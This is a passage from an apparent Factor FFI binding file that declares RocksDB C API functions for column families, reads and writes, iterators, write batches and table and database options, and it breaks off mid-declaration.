FUNCTION: rocksdb_column_family_handle_t*
rocksdb_create_column_family_with_ttl (
rocksdb_t* db, rocksdb_options_t* column_family_options,
char* column_family_name, int ttl, char** errptr )
FUNCTION: void rocksdb_drop_column_family (
rocksdb_t* db, rocksdb_column_family_handle_t* handle, char** errptr )
FUNCTION: void rocksdb_column_family_handle_destroy (
rocksdb_column_family_handle_t* dummy )
FUNCTION: void rocksdb_close ( rocksdb_t* db )
FUNCTION: void rocksdb_put (
rocksdb_t* db, rocksdb_writeoptions_t* options, char* key,
size_t keylen, char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_put_cf (
rocksdb_t* db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_delete (
rocksdb_t* db, rocksdb_writeoptions_t* options, char* key,
size_t keylen, char** errptr )
FUNCTION: void rocksdb_delete_cf (
rocksdb_t* db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char** errptr )
FUNCTION: void rocksdb_delete_range_cf (
rocksdb_t* db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* start_key,
size_t start_key_len, char* end_key, size_t end_key_len,
char** errptr )
FUNCTION: void rocksdb_merge (
rocksdb_t* db, rocksdb_writeoptions_t* options, char* key,
size_t keylen, char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_merge_cf (
rocksdb_t* db, rocksdb_writeoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, char* val, size_t vallen, char** errptr )
FUNCTION: void rocksdb_write (
rocksdb_t* db, rocksdb_writeoptions_t* options,
rocksdb_writebatch_t* batch, char** errptr )
! Returns NULL if not found. A malloc()ed array otherwise.
! Stores the length of the array in *vallen.
FUNCTION: char* rocksdb_get (
rocksdb_t* db, rocksdb_readoptions_t* options, char* key,
size_t keylen, size_t* vallen, char** errptr )
FUNCTION: char* rocksdb_get_cf (
rocksdb_t* db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t keylen, size_t* vallen, char** errptr )
! if values_list[i] == NULL and errs[i] == NULL,
! then we got status.IsNotFound ( ), which we will not return.
! all errors except status status.ok ( ) and status.IsNotFound ( ) are returned.
!
! errs, values_list and values_list_sizes must be num_keys in length,
! allocated by the caller.
! errs is a list of strings as opposed to the conventional one error,
! where errs[i] is the status for retrieval of keys_list[i].
! each non-NULL errs entry is a malloc()ed, null terminated string.
! each non-NULL values_list entry is a malloc()ed array, with
! the length for each stored in values_list_sizes[i].
FUNCTION: void rocksdb_multi_get (
rocksdb_t* db, rocksdb_readoptions_t* options, size_t num_keys,
char* keys_list, size_t* keys_list_sizes,
char** values_list, size_t* values_list_sizes, char** errs )
FUNCTION: void rocksdb_multi_get_cf (
rocksdb_t* db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_families,
size_t num_keys, char* keys_list,
size_t* keys_list_sizes, char** values_list,
size_t* values_list_sizes, char** errs )
! The value is only allocated (using malloc) and returned if it is found and
! value_found isn't NULL. In that case the user is responsible for freeing it.
FUNCTION: uchar rocksdb_key_may_exist (
rocksdb_t* db, rocksdb_readoptions_t* options, char* key,
size_t key_len, char** value, size_t* val_len, char* timestamp,
size_t timestamp_len, uchar* value_found )
! The value is only allocated (using malloc) and returned if it is found and
! value_found isn't NULL. In that case the user is responsible for freeing it.
FUNCTION: uchar rocksdb_key_may_exist_cf (
rocksdb_t* db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family, char* key,
size_t key_len, char** value, size_t* val_len, char* timestamp,
size_t timestamp_len, uchar* value_found )
FUNCTION: rocksdb_iterator_t* rocksdb_create_iterator (
rocksdb_t* db, rocksdb_readoptions_t* options )
FUNCTION: rocksdb_wal_iterator_t* rocksdb_get_updates_since (
rocksdb_t* db, uint64_t seq_number,
rocksdb_wal_readoptions_t* options,
char** errptr
)
FUNCTION: rocksdb_iterator_t* rocksdb_create_iterator_cf (
rocksdb_t* db, rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family )
FUNCTION: void rocksdb_create_iterators (
rocksdb_t *db, rocksdb_readoptions_t* opts,
rocksdb_column_family_handle_t** column_families,
rocksdb_iterator_t** iterators, size_t size, char** errptr )
FUNCTION: rocksdb_snapshot_t* rocksdb_create_snapshot (
rocksdb_t* db )
FUNCTION: void rocksdb_release_snapshot (
rocksdb_t* db, rocksdb_snapshot_t* snapshot )
! Returns NULL if property name is unknown.
! Else returns a pointer to a malloc()-ed null-terminated value.
FUNCTION: char* rocksdb_property_value ( rocksdb_t* db,
char* propname )
! returns 0 on success, -1 otherwise
FUNCTION: int rocksdb_property_int (
rocksdb_t* db,
char* propname, uint64_t *out_val )
! returns 0 on success, -1 otherwise
FUNCTION: int rocksdb_property_int_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
char* propname, uint64_t *out_val )
FUNCTION: char* rocksdb_property_value_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
char* propname )
FUNCTION: void rocksdb_approximate_sizes (
rocksdb_t* db, int num_ranges, char* range_start_key,
size_t* range_start_key_len, char* range_limit_key,
size_t* range_limit_key_len, uint64_t* sizes )
FUNCTION: void rocksdb_approximate_sizes_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
int num_ranges, char* range_start_key,
size_t* range_start_key_len, char* range_limit_key,
size_t* range_limit_key_len, uint64_t* sizes )
FUNCTION: void rocksdb_compact_range ( rocksdb_t* db,
char* start_key,
size_t start_key_len,
char* limit_key,
size_t limit_key_len )
FUNCTION: void rocksdb_compact_range_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
char* start_key, size_t start_key_len, char* limit_key,
size_t limit_key_len )
FUNCTION: void rocksdb_compact_range_opt (
rocksdb_t* db, rocksdb_compactoptions_t* opt, char* start_key,
size_t start_key_len, char* limit_key, size_t limit_key_len )
FUNCTION: void rocksdb_compact_range_cf_opt (
rocksdb_t* db, rocksdb_column_family_handle_t* column_family,
rocksdb_compactoptions_t* opt, char* start_key, size_t start_key_len,
char* limit_key, size_t limit_key_len )
FUNCTION: void rocksdb_delete_file ( rocksdb_t* db,
c-string name )
FUNCTION: rocksdb_livefiles_t* rocksdb_livefiles (
rocksdb_t* db )
FUNCTION: void rocksdb_flush (
rocksdb_t* db, rocksdb_flushoptions_t* options, char** errptr )
FUNCTION: void rocksdb_flush_cf (
rocksdb_t* db, rocksdb_flushoptions_t* options,
rocksdb_column_family_handle_t* column_family, char** errptr )
FUNCTION: void rocksdb_disable_file_deletions ( rocksdb_t* db,
char** errptr )
FUNCTION: void rocksdb_enable_file_deletions (
rocksdb_t* db, uchar force, char** errptr )
! Management operations
FUNCTION: void rocksdb_destroy_db (
rocksdb_options_t* options, c-string name, char** errptr )
FUNCTION: void rocksdb_repair_db (
rocksdb_options_t* options, c-string name, char** errptr )
! Iterator
FUNCTION: void rocksdb_iter_destroy ( rocksdb_iterator_t* dummy )
FUNCTION: uchar rocksdb_iter_valid (
rocksdb_iterator_t* dummy )
FUNCTION: void rocksdb_iter_seek_to_first ( rocksdb_iterator_t* dummy )
FUNCTION: void rocksdb_iter_seek_to_last ( rocksdb_iterator_t* dummy )
FUNCTION: void rocksdb_iter_seek ( rocksdb_iterator_t* dummy_ptr,
char* k, size_t klen )
FUNCTION: void rocksdb_iter_seek_for_prev ( rocksdb_iterator_t* dummy_ptr,
char* k,
size_t klen )
FUNCTION: void rocksdb_iter_next ( rocksdb_iterator_t* dummy )
FUNCTION: void rocksdb_iter_prev ( rocksdb_iterator_t* dummy )
FUNCTION: char* rocksdb_iter_key (
rocksdb_iterator_t* dummy_ptr, size_t* klen )
FUNCTION: char* rocksdb_iter_value (
rocksdb_iterator_t* dummy_ptr, size_t* vlen )
FUNCTION: void rocksdb_iter_get_error (
rocksdb_iterator_t* dummy_ptr, char** errptr )
FUNCTION: void rocksdb_wal_iter_next ( rocksdb_wal_iterator_t* iter )
FUNCTION: uchar rocksdb_wal_iter_valid (
rocksdb_wal_iterator_t* dummy )
FUNCTION: void rocksdb_wal_iter_status ( rocksdb_wal_iterator_t* iter, char** errptr )
FUNCTION: rocksdb_writebatch_t* rocksdb_wal_iter_get_batch ( rocksdb_wal_iterator_t* iter, uint64_t* seq )
FUNCTION: uint64_t rocksdb_get_latest_sequence_number ( rocksdb_t *db )
FUNCTION: void rocksdb_wal_iter_destroy ( rocksdb_wal_iterator_t* iter )
! Write batch
FUNCTION: rocksdb_writebatch_t* rocksdb_writebatch_create ( )
FUNCTION: rocksdb_writebatch_t* rocksdb_writebatch_create_from (
char* rep, size_t size )
FUNCTION: void rocksdb_writebatch_destroy (
rocksdb_writebatch_t* dummy )
FUNCTION: void rocksdb_writebatch_clear ( rocksdb_writebatch_t* dummy )
FUNCTION: int rocksdb_writebatch_count ( rocksdb_writebatch_t* dummy )
FUNCTION: void rocksdb_writebatch_put ( rocksdb_writebatch_t* dummy_ptr,
char* key,
size_t klen,
char* val,
size_t vlen )
FUNCTION: void rocksdb_writebatch_put_cf (
rocksdb_writebatch_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen )
FUNCTION: void rocksdb_writebatch_putv (
rocksdb_writebatch_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes, int num_values,
char* values_list, size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_putv_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes,
int num_values, char* values_list,
size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_merge ( rocksdb_writebatch_t* dummy_ptr,
char* key,
size_t klen,
char* val,
size_t vlen )
FUNCTION: void rocksdb_writebatch_merge_cf (
rocksdb_writebatch_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen )
FUNCTION: void rocksdb_writebatch_mergev (
rocksdb_writebatch_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes, int num_values,
char* values_list, size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_mergev_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes,
int num_values, char* values_list,
size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_delete ( rocksdb_writebatch_t* dummy_ptr,
char* key,
size_t klen )
FUNCTION: void rocksdb_writebatch_delete_cf (
rocksdb_writebatch_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen )
FUNCTION: void rocksdb_writebatch_singledelete_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen )
FUNCTION: void rocksdb_writebatch_deletev (
rocksdb_writebatch_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes )
FUNCTION: void rocksdb_writebatch_deletev_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes )
FUNCTION: void rocksdb_writebatch_delete_range (
rocksdb_writebatch_t* b, char* start_key, size_t start_key_len,
char* end_key, size_t end_key_len )
FUNCTION: void rocksdb_writebatch_delete_range_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
char* start_key, size_t start_key_len, char* end_key,
size_t end_key_len )
FUNCTION: void rocksdb_writebatch_delete_rangev (
rocksdb_writebatch_t* b, int num_keys, char* start_keys_list,
size_t* start_keys_list_sizes, char* end_keys_list,
size_t* end_keys_list_sizes )
FUNCTION: void rocksdb_writebatch_delete_rangev_cf (
rocksdb_writebatch_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* start_keys_list,
size_t* start_keys_list_sizes, char* end_keys_list,
size_t* end_keys_list_sizes )
FUNCTION: void rocksdb_writebatch_put_log_data (
rocksdb_writebatch_t* dummy_ptr, char* blob, size_t len )
FUNCTION: void rocksdb_writebatch_iterate (
rocksdb_writebatch_t* dummy_ptr,
void* state,
void* fn1, ! void (*put)(void* dummy_ptr, char* k, size_t klen, char* v, size_t vlen),
void* fn2 ! void (*deleted)(void* dummy_ptr, char* k, size_t klen)
)
FUNCTION: char* rocksdb_writebatch_data (
rocksdb_writebatch_t* dummy_ptr, size_t* size )
FUNCTION: void rocksdb_writebatch_set_save_point (
rocksdb_writebatch_t* dummy )
FUNCTION: void rocksdb_writebatch_rollback_to_save_point (
rocksdb_writebatch_t* dummy_ptr, char** errptr )
FUNCTION: void rocksdb_writebatch_pop_save_point (
rocksdb_writebatch_t* dummy_ptr, char** errptr )
! Write batch with index
FUNCTION: rocksdb_writebatch_wi_t* rocksdb_writebatch_wi_create (
size_t reserved_bytes,
uchar overwrite_keys )
FUNCTION: rocksdb_writebatch_wi_t* rocksdb_writebatch_wi_create_from (
char* rep, size_t size )
FUNCTION: void rocksdb_writebatch_wi_destroy (
rocksdb_writebatch_wi_t* dummy )
FUNCTION: void rocksdb_writebatch_wi_clear ( rocksdb_writebatch_wi_t* dummy )
FUNCTION: int rocksdb_writebatch_wi_count ( rocksdb_writebatch_wi_t* b )
FUNCTION: void rocksdb_writebatch_wi_put ( rocksdb_writebatch_wi_t* dummy_ptr,
char* key,
size_t klen,
char* val,
size_t vlen )
FUNCTION: void rocksdb_writebatch_wi_put_cf (
rocksdb_writebatch_wi_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen )
FUNCTION: void rocksdb_writebatch_wi_putv (
rocksdb_writebatch_wi_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes, int num_values,
char* values_list, size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_putv_cf (
rocksdb_writebatch_wi_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes,
int num_values, char* values_list,
size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_merge ( rocksdb_writebatch_wi_t* dummy_ptr,
char* key,
size_t klen,
char* val,
size_t vlen )
FUNCTION: void rocksdb_writebatch_wi_merge_cf (
rocksdb_writebatch_wi_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen, char* val, size_t vlen )
FUNCTION: void rocksdb_writebatch_wi_mergev (
rocksdb_writebatch_wi_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes, int num_values,
char* values_list, size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_mergev_cf (
rocksdb_writebatch_wi_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes,
int num_values, char* values_list,
size_t* values_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_delete ( rocksdb_writebatch_wi_t* dummy_ptr,
char* key,
size_t klen )
FUNCTION: void rocksdb_writebatch_wi_singledelete (
rocksdb_writebatch_wi_t* dummy_otr, char* key, size_t klen )
FUNCTION: void rocksdb_writebatch_wi_delete_cf (
rocksdb_writebatch_wi_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen )
FUNCTION: void rocksdb_writebatch_wi_singledelete_cf (
rocksdb_writebatch_wi_t* dummy_ptr, rocksdb_column_family_handle_t* column_family,
char* key, size_t klen )
FUNCTION: void rocksdb_writebatch_wi_deletev (
rocksdb_writebatch_wi_t* b, int num_keys, char* keys_list,
size_t* keys_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_deletev_cf (
rocksdb_writebatch_wi_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* keys_list, size_t* keys_list_sizes )
! DO NOT USE - rocksdb_writebatch_wi_delete_range is not yet supported
FUNCTION: void rocksdb_writebatch_wi_delete_range (
rocksdb_writebatch_wi_t* b, char* start_key, size_t start_key_len,
char* end_key, size_t end_key_len )
! DO NOT USE - rocksdb_writebatch_wi_delete_range_cf is not yet supported
FUNCTION: void rocksdb_writebatch_wi_delete_range_cf (
rocksdb_writebatch_wi_t* b, rocksdb_column_family_handle_t* column_family,
char* start_key, size_t start_key_len, char* end_key,
size_t end_key_len )
! DO NOT USE - rocksdb_writebatch_wi_delete_rangev is not yet supported
FUNCTION: void rocksdb_writebatch_wi_delete_rangev (
rocksdb_writebatch_wi_t* b, int num_keys, char* start_keys_list,
size_t* start_keys_list_sizes, char* end_keys_list,
size_t* end_keys_list_sizes )
! DO NOT USE - rocksdb_writebatch_wi_delete_rangev_cf is not yet supported
FUNCTION: void rocksdb_writebatch_wi_delete_rangev_cf (
rocksdb_writebatch_wi_t* b, rocksdb_column_family_handle_t* column_family,
int num_keys, char* start_keys_list,
size_t* start_keys_list_sizes, char* end_keys_list,
size_t* end_keys_list_sizes )
FUNCTION: void rocksdb_writebatch_wi_put_log_data (
rocksdb_writebatch_wi_t* dummy_ptr, char* blob, size_t len )
FUNCTION: void rocksdb_writebatch_wi_iterate (
rocksdb_writebatch_wi_t* b,
void* state,
void* fn1, ! void (*put)(void* dummy_ptr, char* k, size_t klen, char* v, size_t vlen),
void* fn2 ! void (*deleted)(void* dummy_ptr, char* k, size_t klen)
)
FUNCTION: char* rocksdb_writebatch_wi_data (
rocksdb_writebatch_wi_t* b,
size_t* size )
FUNCTION: void rocksdb_writebatch_wi_set_save_point (
rocksdb_writebatch_wi_t* dummy )
FUNCTION: void rocksdb_writebatch_wi_rollback_to_save_point (
rocksdb_writebatch_wi_t* dummy_ptr, char** errptr )
FUNCTION: char* rocksdb_writebatch_wi_get_from_batch (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_options_t* options,
char* key, size_t keylen,
size_t* vallen,
char** errptr )
FUNCTION: char* rocksdb_writebatch_wi_get_from_batch_cf (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_options_t* options,
rocksdb_column_family_handle_t* column_family,
char* key, size_t keylen,
size_t* vallen,
char** errptr )
FUNCTION: char* rocksdb_writebatch_wi_get_from_batch_and_db (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_t* db,
rocksdb_readoptions_t* options,
char* key, size_t keylen,
size_t* vallen,
char** errptr )
FUNCTION: char* rocksdb_writebatch_wi_get_from_batch_and_db_cf (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_t* db,
rocksdb_readoptions_t* options,
rocksdb_column_family_handle_t* column_family,
char* key, size_t keylen,
size_t* vallen,
char** errptr )
FUNCTION: void rocksdb_write_writebatch_wi (
rocksdb_t* db,
rocksdb_writeoptions_t* options,
rocksdb_writebatch_wi_t* wbwi,
char** errptr )
FUNCTION: rocksdb_iterator_t* rocksdb_writebatch_wi_create_iterator_with_base (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_iterator_t* base_iterator )
FUNCTION: rocksdb_iterator_t* rocksdb_writebatch_wi_create_iterator_with_base_cf (
rocksdb_writebatch_wi_t* wbwi,
rocksdb_iterator_t* base_iterator,
rocksdb_column_family_handle_t* cf )
! Block based table options
FUNCTION: rocksdb_block_based_table_options_t*
rocksdb_block_based_options_create ( )
FUNCTION: void rocksdb_block_based_options_destroy (
rocksdb_block_based_table_options_t* options )
FUNCTION: void rocksdb_block_based_options_set_block_size (
rocksdb_block_based_table_options_t* options, size_t block_size )
FUNCTION: void
rocksdb_block_based_options_set_block_size_deviation (
rocksdb_block_based_table_options_t* options, int block_size_deviation )
FUNCTION: void
rocksdb_block_based_options_set_block_restart_interval (
rocksdb_block_based_table_options_t* options, int block_restart_interval )
FUNCTION: void
rocksdb_block_based_options_set_index_block_restart_interval (
rocksdb_block_based_table_options_t* options, int index_block_restart_interval )
FUNCTION: void
rocksdb_block_based_options_set_metadata_block_size (
rocksdb_block_based_table_options_t* options, uint64_t metadata_block_size )
FUNCTION: void
rocksdb_block_based_options_set_partition_filters (
rocksdb_block_based_table_options_t* options, uchar partition_filters )
FUNCTION: void
rocksdb_block_based_options_set_use_delta_encoding (
rocksdb_block_based_table_options_t* options, uchar use_delta_encoding )
FUNCTION: void rocksdb_block_based_options_set_filter_policy (
rocksdb_block_based_table_options_t* options,
rocksdb_filterpolicy_t* filter_policy )
FUNCTION: void rocksdb_block_based_options_set_no_block_cache (
rocksdb_block_based_table_options_t* options, uchar no_block_cache )
FUNCTION: void rocksdb_block_based_options_set_block_cache (
rocksdb_block_based_table_options_t* options, rocksdb_cache_t* block_cache )
FUNCTION: void
rocksdb_block_based_options_set_block_cache_compressed (
rocksdb_block_based_table_options_t* options,
rocksdb_cache_t* block_cache_compressed )
FUNCTION: void
rocksdb_block_based_options_set_whole_key_filtering (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void rocksdb_block_based_options_set_format_version (
rocksdb_block_based_table_options_t* dummy_ptr, int dummy_int )
ENUM: rocksdb_block_search_enum < uchar
{ rocksdb_block_based_table_index_type_binary_search 0 }
{ rocksdb_block_based_table_index_type_hash_search 1 }
{ rocksdb_block_based_table_index_type_two_level_index_search 2 } ;
FUNCTION: void rocksdb_block_based_options_set_index_type (
rocksdb_block_based_table_options_t* dummy_ptr, int dummy_int )
FUNCTION: void
rocksdb_block_based_options_set_hash_index_allow_collision (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void
rocksdb_block_based_options_set_cache_index_and_filter_blocks (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void
rocksdb_block_based_options_set_cache_index_and_filter_blocks_with_high_priority (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void
rocksdb_block_based_options_set_pin_l0_filter_and_index_blocks_in_cache (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void
rocksdb_block_based_options_set_pin_top_level_index_and_filter (
rocksdb_block_based_table_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: void rocksdb_options_set_block_based_table_factory (
rocksdb_options_t* opt, rocksdb_block_based_table_options_t* table_options )
! Cuckoo table options
FUNCTION: rocksdb_cuckoo_table_options_t*
rocksdb_cuckoo_options_create ( )
FUNCTION: void rocksdb_cuckoo_options_destroy (
rocksdb_cuckoo_table_options_t* options )
FUNCTION: void rocksdb_cuckoo_options_set_hash_ratio (
rocksdb_cuckoo_table_options_t* options, double v )
FUNCTION: void rocksdb_cuckoo_options_set_max_search_depth (
rocksdb_cuckoo_table_options_t* options, uint32_t v )
FUNCTION: void rocksdb_cuckoo_options_set_cuckoo_block_size (
rocksdb_cuckoo_table_options_t* options, uint32_t v )
FUNCTION: void
rocksdb_cuckoo_options_set_identity_as_first_hash (
rocksdb_cuckoo_table_options_t* options, uchar v )
FUNCTION: void rocksdb_cuckoo_options_set_use_module_hash (
rocksdb_cuckoo_table_options_t* options, uchar v )
FUNCTION: void rocksdb_options_set_cuckoo_table_factory (
rocksdb_options_t* opt, rocksdb_cuckoo_table_options_t* table_options )
! Options
FUNCTION: void rocksdb_set_options (
rocksdb_t* db, int count, char* keys[], char* values[], char** errptr )
FUNCTION: void rocksdb_set_options_cf (
rocksdb_t* db, rocksdb_column_family_handle_t* handle, int count, char* keys[], char* values[], char** errptr )
FUNCTION: rocksdb_options_t* rocksdb_options_create ( )
FUNCTION: void rocksdb_options_destroy ( rocksdb_options_t* dummy )
FUNCTION: rocksdb_options_t* rocksdb_options_create_copy (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_increase_parallelism (
rocksdb_options_t* opt, int total_threads )
FUNCTION: void rocksdb_options_optimize_for_point_lookup (
rocksdb_options_t* opt, uint64_t block_cache_size_mb )
FUNCTION: void rocksdb_options_optimize_level_style_compaction (
rocksdb_options_t* opt, uint64_t memtable_memory_budget )
FUNCTION: void
rocksdb_options_optimize_universal_style_compaction (
rocksdb_options_t* opt, uint64_t memtable_memory_budget )
FUNCTION: void
rocksdb_options_set_allow_ingest_behind ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_allow_ingest_behind ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_compaction_filter (
rocksdb_options_t* dummy_ptr, rocksdb_compactionfilter_t* dummy )
FUNCTION: void rocksdb_options_set_compaction_filter_factory (
rocksdb_options_t* dummy_ptr, rocksdb_compactionfilterfactory_t* dummy )
FUNCTION: void rocksdb_options_compaction_readahead_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_compaction_readahead_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_comparator (
rocksdb_options_t* dummy_ptr, rocksdb_comparator_t* dummy )
FUNCTION: void rocksdb_options_set_merge_operator (
rocksdb_options_t* dummy_ptr, rocksdb_mergeoperator_t* dummy )
FUNCTION: void rocksdb_options_set_uint64add_merge_operator (
rocksdb_options_t* dummy )
FUNCTION: void rocksdb_options_set_compression_per_level (
rocksdb_options_t* opt, int* level_values, size_t num_levels )
FUNCTION: void rocksdb_options_set_create_if_missing (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_create_if_missing (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_create_missing_column_families ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_create_missing_column_families ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_error_if_exists (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_error_if_exists (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_paranoid_checks (
rocksdb_options_t* dummy_ptr, uchar dummy_uchar )
FUNCTION: uchar rocksdb_options_get_paranoid_checks (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_db_paths ( rocksdb_options_t* dummy_ptr,
rocksdb_dbpath_t** path_values,
size_t num_paths )
FUNCTION: void rocksdb_options_set_env ( rocksdb_options_t* dummy_ptr,
rocksdb_env_t* dummy )
FUNCTION: void rocksdb_options_set_info_log ( rocksdb_options_t* dummy_ptr,
rocksdb_logger_t* dummy )
FUNCTION: void rocksdb_options_set_info_log_level (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_info_log_level (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_write_buffer_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_write_buffer_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_db_write_buffer_size (
rocksdb_options_t* dummy_ptr, size_t dummy_size_t )
FUNCTION: size_t
rocksdb_options_get_db_write_buffer_size ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_open_files (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_open_files (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_file_opening_threads (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_max_file_opening_threads (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_total_wal_size (
rocksdb_options_t* opt, uint64_t n )
FUNCTION: uint64_t
rocksdb_options_get_max_total_wal_size ( rocksdb_options_t* opt )
FUNCTION: void rocksdb_options_set_compression_options (
rocksdb_options_t* dummy_ptr, int i1, int i2, int i3, int i4 )
FUNCTION: void
rocksdb_options_set_compression_options_zstd_max_train_bytes ( rocksdb_options_t* options,
int dummy )
FUNCTION: void
rocksdb_options_set_bottommost_compression_options ( rocksdb_options_t* options, int dummy1, int dummy2,
int dummy3, int dummy4, uchar dummy5 )
FUNCTION: void
rocksdb_options_set_bottommost_compression_options_zstd_max_train_bytes (
rocksdb_options_t* options, int dummy1, uchar dummy2 )
FUNCTION: void rocksdb_options_set_prefix_extractor (
rocksdb_options_t* dummy_ptr, rocksdb_slicetransform_t* dummy )
FUNCTION: void rocksdb_options_set_num_levels (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_num_levels (
rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_level0_file_num_compaction_trigger ( rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_options_get_level0_file_num_compaction_trigger ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_level0_slowdown_writes_trigger ( rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int
rocksdb_options_get_level0_slowdown_writes_trigger ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_level0_stop_writes_trigger (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_level0_stop_writes_trigger (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_mem_compaction_level (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: void rocksdb_options_set_target_file_size_base (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_target_file_size_base ( rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_target_file_size_multiplier (
rocksdb_options_t* dummy_ptr, int dummy_int )
FUNCTION: int rocksdb_options_get_target_file_size_multiplier (
rocksdb_options_t* options )
FUNCTION: void rocksdb_options_set_max_bytes_for_level_base (
rocksdb_options_t* dummy_ptr, uint64_t u64_1 )
FUNCTION: uint64_t
rocksdb_options_get_max_bytes_for_level_base ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_level_compaction_dynamic_level_bytes ( rocksdb_options_t* dummy_ptr,
uchar dummy_uchar )
FUNCTION: uchar
rocksdb_options_get_level_compaction_dynamic_level_bytes ( rocksdb_options_t* options )
FUNCTION: void
rocksdb_options_set_max_bytes_for_level_multiplier ( rocksdb_options_t* dummy_ptr, double d1 )
FUNCTION: void
